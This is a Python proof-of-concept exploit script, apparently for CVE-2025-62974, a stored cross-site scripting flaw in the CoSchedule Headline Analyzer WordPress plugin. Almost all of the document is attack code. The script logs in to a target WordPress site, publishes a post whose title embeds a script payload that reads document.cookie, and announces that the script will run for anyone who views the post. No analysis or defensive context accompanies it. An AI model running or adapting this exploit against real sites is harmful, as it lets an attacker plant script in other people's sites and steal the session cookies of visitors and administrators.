CVE-2025-62974

import requests import sys # CVE-2025-62974 PoC - Stored XSS in CoSchedule Headline Analyzer # Target: WordPress site with vulnerable CoSchedule Headline Analyzer plugin (<=1.3.7) target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "attacker" password = sys.argv[3] if len(sys.argv) > 3 else "password" # XSS payload xss_payload = '<script>alert(document.cookie)</script>' session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print("[*] Logging in to WordPress...") response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'loggedout=true' in response.url or response.status_code != 200: print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Step 2: Create new post with XSS payload in title post_url = f"{target_url}/wp-admin/post-new.php" post_data = { 'post_title': f'Test Headline {xss_payload}', 'post_content': 'Testing CoSchedule Headline Analyzer XSS vulnerability', 'post_status': 'publish', 'publish': 'Publish' } print("[*] Creating post with XSS payload...") response = session.post(post_url, data=post_data) if response.status_code == 200: print("[+] Post created with XSS payload") print(f"[*] XSS will be triggered when viewing the post or using Headline Analyzer") else: print("[-] Failed to create post")

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